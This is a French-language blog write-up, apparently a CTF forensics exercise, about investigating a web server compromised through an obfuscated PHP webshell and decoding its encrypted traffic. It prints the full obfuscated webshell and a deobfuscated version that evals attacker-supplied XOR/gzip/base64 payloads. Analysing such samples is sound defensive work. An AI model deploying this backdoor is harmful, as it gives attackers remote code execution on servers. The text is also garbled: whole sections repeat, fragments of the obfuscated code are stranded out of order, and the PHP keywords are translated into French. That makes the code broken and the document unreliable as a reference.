Nous avons couvert un scénario de réponse à un incident qui impliquait l'utilisation de compétences médico-légales pour enquêter sur un serveur Web piraté en exploitant une vulnérabilité de téléchargement de fichiers. Nous avons reçu le shell Web utilisé par l'attaquant ainsi qu'un fichier de vidage de paquets contenant les paquets échangés entre l'attaquant et le serveur Web. ils exécutaient des commandes.

Nous avons décodé le script en utilisant base64, le cryptage XOR et la compression Gzip pour découvrir les commandes exécutées par l'attaquant ainsi que le résultat reçu.

Nous avons constaté que l'attaquant avait téléchargé un fichier Keepass codé en base64. Nous avons donc utilisé keepass2john pour extraire le hachage et John l'éventreur pour trouver le mot de passe de la base de données de mots de passe contenant l'indicateur.

Obtenir des notes d'investigation informatique

Le cours pratique complet sur les tests d’intrusion d’applications Web

Description du défi

Un attaquant a trouvé une vulnérabilité dans notre serveur Web qui permet le téléchargement arbitraire de fichiers PHP sur notre serveur Apache. De cette manière, le pirate informatique a téléchargé ce qui semble être un shell obscurci (support.php). Nous surveillons notre réseau 24h/24 et 7j/7 et générons des journaux à partir de tcpdump (nous avons fourni le fichier journal pour une période de deux minutes avant de mettre fin au service HTTP pour enquête). Cependant, nous avons besoin de votre aide pour analyser et identifier les commandes que l'attaquant a écrites pour comprendre. ce qui a été compromis.

Faits saillants de la vidéo

Le script Webshell php obscurci est ci-dessous

<?php$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u );fonction u)x(

Après désobscurcissement, cela devient

$k=”80e32263″ ;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″ ;
$p=”0UlYyJHG87EJqEz6″ ;
fonction x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
pour($i=0;$i<$l;){
pour($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j} ;
}
}
retourner $o ;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval (@gzuncompress (@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode (@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

Nous pouvons suivre l'inverse du processus ci-dessus pour décoder la sortie reçue par l'attaquant (affichée dans le wireshark)

@gzuncompress (@x (@base64_decode($encoded),$k));

Par exemple, la sortie ci-dessous est observée dans le premier paquet Wireshark

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Si on en retire les $p, $kh et $kf, on peut se retrouver avec $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy

Ce qui précède correspond à la sortie ci-dessous (la sortie de la commande id)

uid=33(www-data) gid=33(www-data) groupes=33(www-data)

Vidéo pas à pas

https://www.youtube.com/watch?v=VSgdzLoCWl0

;$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match(" /$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i <$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k)) ;pru)u)int(u)"$p$kh$r$kf");}';$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@ bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';$u=str_replace('u)','',$V.$d.$P.$c.$B);$x=$N('',$u);$x();?>

Après désobscurcissement, cela devient

$k=”80e32263″ ;
$kh=”6f8af44abea0″;
$kf=”351039f4a7b5″ ;
$p=”0UlYyJHG87EJqEz6″ ;
fonction x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o=””;
pour($i=0;$i<$l;){
pour($j=0;($j<$c&&$i<$l);$j++,$i++){
$o.=$t{$i}^$k{$j} ;
}
}
retourner $o ;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval (@gzuncompress (@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode (@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

Nous pouvons suivre l'inverse du processus ci-dessus pour décoder la sortie reçue par l'attaquant (affichée dans le wireshark)

@gzuncompress (@x (@base64_decode($encoded),$k));

Par exemple, la sortie ci-dessous est observée dans le premier paquet Wireshark

0UlYyJHG87EJqEz66f8af44abea0QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPUmHTy351039f4a7b5

Si on en retire les $p, $kh et $kf, on peut se retrouver avec $r

QKxO/n6DAwXuGEoc5X9/H3HkMXv1Ih75Fx1NdSPRNDPumHTy

Ce qui précède correspond à la sortie ci-dessous (la sortie de la commande id)


Vidéo pas à pas

A propos de l'Auteur

Je crée des notes de cybersécurité, des notes de marketing numérique et des cours en ligne. Je fournis également des conseils en marketing numérique, y compris, mais sans s'y limiter, le référencement, les publicités Google et Meta et l'administration CRM.

Voir les Articles